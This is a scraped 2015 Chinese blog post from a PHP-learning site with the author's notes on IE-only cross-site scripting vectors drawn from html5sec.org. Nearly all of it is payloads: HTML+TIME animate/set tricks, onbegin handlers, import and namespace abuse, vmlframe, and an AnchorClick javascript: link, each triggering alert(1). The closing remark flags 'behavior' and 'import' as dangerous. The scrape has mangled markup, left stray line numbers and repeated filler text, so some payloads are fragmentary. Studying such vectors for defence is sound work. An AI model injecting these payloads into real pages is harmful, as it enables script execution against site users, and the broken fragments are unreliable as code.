来源:自学PHP网 时间:2015-04-17 12:00 作者: 阅读:次
[导读] 从html5sec.org看到的一些,虽然是IE only的,这里做下笔记+心得。 1. time attributename 和 values 联用html xmlns:t=urn:schemas-microsoft-com:timebodydiv title=alert(1); id=myxss......
从html5sec.org看到的一些,虽然是IE only的,这里做下笔记+心得。 1. time attributename 和 values 联用 <html xmlns:t="urn:schemas-microsoft-com:time"> values="<img/src="."style="display:none"onerror=eval(myxss.title)>"></t:animate> 防止单行代码看不见 <animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=alert(1)>> 防止单行代码看不见2. time onbegin ,比较鸡肋的地方是,只要有onxxx过滤器的,就没啥用 <x style=`behavior:url(#default#time2)` onbegin=`write(1)` >3. time set attributename to <html xmlns:t="urn:schemas-microsoft-com:time"> to=`<img/src="x"onerror=alert(1)>`> <html xmlns:t="urn:schemas-microsoft-com:time"> src=test.vml#xss></vmlframe> <xml> <html> ?01020304050607080910 <html> <body> <div> <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=alert(1)>"> </div> </body> </html> 或者 html + import 组合 <html xmlns:t> <html> <?xml version="1.0"?>
<SCRIPTLET> 防止单行代码看不见 <a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">XXX</a> 防止单行代码看不见总结: behavior 很危险,有木有!! import 在style里也危险,作为标记<import ..> or <?import …> 还是很危险~ |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com